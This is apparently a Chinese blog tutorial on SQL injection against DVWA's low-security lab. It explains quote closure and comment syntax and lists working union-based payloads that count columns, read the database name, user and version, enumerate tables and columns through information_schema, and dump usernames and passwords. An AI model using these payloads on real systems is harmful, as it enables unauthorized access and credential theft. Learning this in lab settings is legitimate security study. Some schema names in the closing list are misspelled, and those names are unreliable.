DVWA mysql 注入( low)

mysql注入的原理简单来说就是将页面的语句闭合掉,然后输入自己想执行的语句,语句会通过数据库进行查询,然后返回到页面

low

看传入的参数id是由  '  包裹着,所以我们需要使用  '  将第一个单引号给注释点,然后传入我们想要查询的语句,最后将第三个单引号给注释,来使数据库成功执行我们的查询语句。

这个地方困扰了我好久

'$id';"   
假设传入的参数为1
'1';"              正常输出
如果传入参数为1'
'1'';"             报错,因为多了一个单引号,既没有形成闭合,也没有对最后一个单引号进行注释



所以我们需要传入的的是对 自带的参数进行闭合,然后加上我们需要查询的语句,然后注释掉最后的' ,

假设传入 1' 语句 (#/--+/%23)   #是页面注释,--+是数据库注释,%23是url的注释

那么语句便为

1' and  语句 --+ 

'id'  and 语句 --+ '
这样后面的' 就被进行了注释,且前面两个' 形成了闭合,所以语句正确,可以带入数据库查询并返回结果

输入' 会报错,因为没有闭合。所以判断出他是' 闭合的字符类型注入,我们只需要注释' 即可。

正确的做法是

1.先判断是否存在注入

很简单,输入1'  看数据是否报错,报错就存在注入。

 原因是无论字符型还是整型都会因为单引号个数不匹配而报错 ,只有单引号进行闭合后,语句正确数据库才会进行查询。

mysql注入我的理解就是该网页的创建者对用户输入的字符没有加以限制和筛选,使之可以带入数据库进行查询。

2.报错后就需要判断字符型注入还是数字型注入

输入1 and 1= 1   和 1 and 1=2  如果没有报错就说明是字符型注入或者不存在注入。

如果是数字型注入,那么1 and 1=2 逻辑判读错误,一定会报错。

3.查看回显列

1' order by 1#   显示正常
1' order by 2#   显示正常
1' order by 3#   显示正常
1' order by 4#   报错

故回显列为3

证明回显列只有三列

为什么要查询回显列,因为union select 联合查询需要知道有多少列

回显是因为网页和数据库交互需要把数据返回到网页上

4.查数据库,查版本号,查用户。

1' union select database(),2,3# 回显列是3
1' union select user(),2,3# 回显列是3
1' union select version(),2,3# 回显列是3
1' union select database(),user(),version()#

5.查表

1' union select 1,2,table_name from information_schema.tables where table_schema=database()#

查询数据表

6.查列

1' union select 1,2,column_name from information_schema.columns where table_name='users'#

查列

7.查数据

1' union select 1,user,password from users#

 

 最后介绍一个函数

group_concat()


例如:以id分组,把name字段的值打印在一行,逗号分隔(默认)
select id,group_concat(name) from aa group by id; 


例如:
获取数据库中的表
以1分组,把table_name打印在第一行,逗号分隔(默认)

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

还有mysql的一些存储信息的库,表

informatiom_schema.tables   记录表名信息

information_schema.columns   记录列名信息

table_sc           记录数据库字段

tabla_name      表名

column_name     列名

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值